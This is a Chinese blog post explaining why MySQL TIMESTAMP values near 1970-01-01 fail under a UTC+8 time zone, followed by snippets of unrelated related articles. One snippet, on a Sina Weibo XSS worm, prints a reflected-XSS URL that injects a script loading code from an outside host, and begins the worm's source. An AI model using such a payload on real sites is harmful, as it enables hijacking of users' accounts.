MySQL的timestamp字段可以使用的范围是多少

还是之前工作中遇到的一个小问题。我在做一个收据采集的程序,需要记录起始时间和结束时间,在数据库中是用timestamp字段来保存的,有些情况下不存在起始时间,此时就需要设置一个默认的起始时间,当初想着是使用timestamp类型的『最小值』。

然而,从1970-01-01 00:00:001970-01-01 00:00:01,保存到数据库的时候总是报错,后面使用1970-01-01 08:00:01终于就正常了。后来又参考了
http://blog.itpub.net/25281640/viewspace-710118/
这篇文章的观点论证了。

从此开始我就认为timestamp的范围,就像文章的观点,真正的范围是从1970-01-01 08:00:01 到 2038-01-19 11:14:07。这个08:00:01当时并没有引起我的注意,最近不知怎么突然想起来,感觉不对。

从MySQL的官方文档就可以得到结论,http://dev.mysql.com/doc/refman/5.0/en/datetime.html

The TIMESTAMP data type is used for values that contain both date and time parts. TIMESTAMP has a range of '1970-01-01 00:00:01' UTC to '2038-01-19 03:14:07' UTC.

MySQL converts TIMESTAMP values from the current time zone to UTC for storage, and back from UTC to the current time zone for retrieval. (This does not occur for other types such as DATETIME.) By default, the current time zone for each connection is the server's time. The time zone can be set on a per-connection basis. As long as the time zone setting remains constant, you get back the same value you store. If you store a TIMESTAMP value, and then change the time zone and retrieve the value, the retrieved value is different from the value you stored. This occurs because the same time zone was not used for conversion in both directions. The current time zone is available as the value of the time_zone system variable. For more information, see Section 10.6, “MySQL Server Time Zone Support”.

timestamp类型的起始时间是1970-01-01 00:00:01 UTC,和时区是关系的。如果我没有理解错的话,MySQL将timestamp类型的值保存的时候,会从当前时区转成UTC时间,正好解释了前面1970-01-01 00:00:001970-01-01 00:00:01两个值保存时出错的问题了。从当前时区转成UTC时间需要减去『8小时』,结果就不在timestamp类型的范围内了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/460461.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Serv-U搭建FTP服务器

1、打开软件,勾选start automatically 2、点击domain,新建domain 3、依次输入IP、端口号、域名、域名类型 完成后的样子 4、右键单击Users,新建用户。依次输入用户名、Home目录、用户密码。 如果需要创建匿名账户,则用户名用Anony…

第二季7:创建配置编码通道(step5:VENC部分)

以下内容源于朱有鹏嵌入式课程的学习与整理,如有侵权请告知删除。 前言 本文将详细介绍博文第二季3:sample_venc.c的整体分析提及的“创建配置编码通道”。 我们首先介绍VENC模块相关的概念,然后绘制该模块的函数调用关系图谱,…

hdu 1176 馅饼

略微简单的动态规划 只是简单贴代码就好了。 #include <stdio.h> #include <string.h>int dp[100007][11]; int ans[100007][11]; int n,N;inline int Max(int x,int c){return x>c?x:c; } int v[16]; void DP() {int i,j;memset(v,0,sizeof(v));memset(ans,0,…

iOS开发-Get请求,Post请求,同步请求和异步请求

标题中的Get和Post是请求的两种方式&#xff0c;同步和异步属于实现的方法&#xff0c;Get方式有同步和异步两种方法&#xff0c;Post同理也有两种。稍微有点Web知识的&#xff0c;对Get和Post应该不会陌生&#xff0c;常说的请求处理响应&#xff0c;基本上请求的是都是这两个…

js new

如果一个函数前面带上new来调用该函数&#xff0c;那么将创建一个隐藏连接到该函数的prototype成员的新对象&#xff0c;同时this将被绑定到那个新对象上 即&#xff1a; function B(){} var anew B(); 类似于 function B(){} var a{}; a.__proto__B.prototype; B.call(a); 转载…

第二季8:保存编码得到的码流(step6:Save to File)

以下内容源于朱有鹏嵌入式课程的学习与整理&#xff0c;如有侵权请告知删除。 前言 本文将详细介绍博文第二季3&#xff1a;sample_venc.c的整体分析提及的“ 保存编码得到的码流 ”。 即把编码得到的三路码流&#xff08;三路码流都是H264格式的&#xff0c;只是分辨率不同…

新浪微博之XSS蠕虫脚本源码讲解

主要是因为新浪的广场页面有几个链接对输入参数过滤不严导致的反射性XSS。 微博XSS漏洞点 weibo.com/pub/star/g/xyyyd%22%3e%3cscript%20src//www.****.com/images/t.js%3e%3c/script%3e?typeupdate 微博XSS脚本内容(XSS源码)function createXHR(){ return window.XMLHttpRe…

Wireshark下载安装和使用教程

本文转载于Wireshark下载安装和使用教程。 Wireshark&#xff08;前身 Ethereal&#xff09;是一个网络包分析工具。该工具主要是用来捕获网络数据包&#xff0c;并自动解析数据包&#xff0c;为用户显示数据包的详细信息&#xff0c;供用户对数据包进行分析。它可以运行在 Wi…

关于 ioctl 的 FIONREAD 參数

ioctl 是用来设置硬件控制寄存器&#xff0c;或者读取硬件状态寄存器的数值之类的。而read,write 是把数据丢入缓冲区&#xff0c;硬件的驱动从缓冲区读取数据一个个发送或者把接收的数据送入缓冲区。 ioctl(keyFd, FIONREAD, &b) 得到缓冲区里有多少字节要被读取&#xff…

Cortex-M3 动态加载一(地址无关代码实现)

这篇文章是自己疑惑究竟地址无关性是如何实现&#xff0c;然后查看汇编和CPU指令手册&#xff0c;最后分析解除自己疑惑的&#xff0c;高手不要鄙视&#xff0c;哈哈。 编译C代码时候需要制定--acps/ropi选项&#xff0c;如下例子&#xff1a; 1 void SystemInit(void)2 {3 }4 …

memset函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memset(void *s, int c, size_t n); 函数作用&#xff1a;将指针s所指向的内存的前n个字节的内容设置为c。 补充说明&#xff1a;用于初始化新申请的内存&#xff0c;它是对较大结构体或数…

快速切換手機版網頁語法

今天臨時接到一通電話&#xff0c;客戶的官方網站使用手機瀏覽時突然無法跳轉到手機版網頁&#xff0c;情急之下在五分鐘內拼出了Java Script 跳轉語法&#xff0c;加入在網頁內並成功讓手機用戶跳轉成功。 我想對於一般中小型企業來說&#xff0c;應該也是夠用的。 ▼ 一般用法…

memcpy函数

以下内容源于网络资源的学习与整理&#xff0c;欢迎交流。 函数原型&#xff1a;void *memcpy(void *dest, const void *src, size_t n); 函数作用&#xff1a;将指针src所指向的内存的前n个字节&#xff0c;复制到指针dest所指向的内存中。 补充说明&#xff1a;dest和src所…

mysqldump 使用备忘

语法 导出所有数据库&#xff1a; mysqldump -u root -p -A > backupfile.sql导出指定数据库&#xff1a; mysqldump -u root -p -B dbName1 dbName2 > backupfile.sql导出指定表&#xff1a; mysqldump -u root -p -B dbName tableName1 tableName2 > backupfile.sql…

C#使用Log4Net记录日志【转】

第一步&#xff1a;下载Log4Net 下载地址&#xff1a;http://logging.apache.org/log4net/download_log4net.cgi 把下载的 log4net-1.2.11-bin-newkey解压后&#xff0c;如下图所示&#xff1a; 双击bin文件夹 双击net文件夹&#xff0c;选择针对.NET FramerWork的不同版本 找…

Map实现之HashMap(结构及原理)(转)

java.util包中的集合类包含 Java 中某些最常用的类。最常用的集合类是 List 和 Map。List 的具体实现包括 ArrayList 和 Vector&#xff0c;它们是可变大小的列表&#xff0c;比较适合构建、存储和操作任何类型对象元素列表。List 适用于按数值索引访问元素的情形。 Map 则提供…

linux二重启动防止

#!/bin/bash # &#xff12;重起動チェック function checkDuplicate() {local RET0local base${0##*/}local pidfile"/tmp/${base}.pid"while true; doif ln -s $$ ${pidfile} 2> /dev/nullthen# 起動OKRET0 && breakelsep$(ls -l ${pidfile} | sed s.* …

17 redis -key设计原则

书签系统 create table book ( bookid int, title char(20) )engine myisam charset utf8;insert into book values (5 , PHP圣经), (6 , ruby实战), (7 , mysql运维), (8, ruby服务端编程);create table tags ( tid int, bookid int, content char(20) )engine myisam charse…

★Linux磁盘配额的使用 ★——牛刀小试

磁盘配额的作用&#xff1a;限制普通用户使用磁盘的空间和创建文件的个数&#xff0c;不至于因为个别人的浪费而影响所有人的使用 需要用户程序quota软件包 #rpm -qa | grep quota 查看quota软件包安装没 #mount -o usrquota,grpquota /dev/hda1 /mnt/one 使用usrquota,grpq…

mysql对表中添加属性_菜鸟笔记—数据分析师MySQL篇(一)

简单说一下我写这份学习笔记的原因&#xff0c;由于工作的原因&#xff0c;想换一份工作&#xff0c;对于毕业已经快6年了&#xff0c;再次重新学习就需要付出很大的勇气和努力&#xff0c;如果态度还不能及时调整&#xff0c;最近找工作遇到的窘境就不言而喻了。去年底报了一个…